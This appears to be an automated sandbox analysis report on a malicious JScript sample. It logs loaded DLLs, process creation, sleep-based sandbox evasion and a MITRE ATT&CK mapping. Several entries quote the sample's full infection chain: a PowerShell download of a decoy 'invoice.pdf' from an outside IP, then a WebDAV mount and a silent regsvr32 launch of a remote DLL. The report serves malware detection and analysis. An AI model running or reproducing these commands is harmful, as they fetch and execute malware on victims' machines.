Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6889.js.csv");ITextStream.WriteLine(" entry:7218 f:cbcqjuc");ITextStream.WriteLine(" exec:2 f:cbcqjuc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4697			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5153			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep count: 4697 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep count: 5153 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1272	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1478868447.000001620D408000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2710081318.000001639F62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1478113665.000001620D46C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1479180087.000001620D46C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1477715402.000001620D46C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2711634919.00000163A4C58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
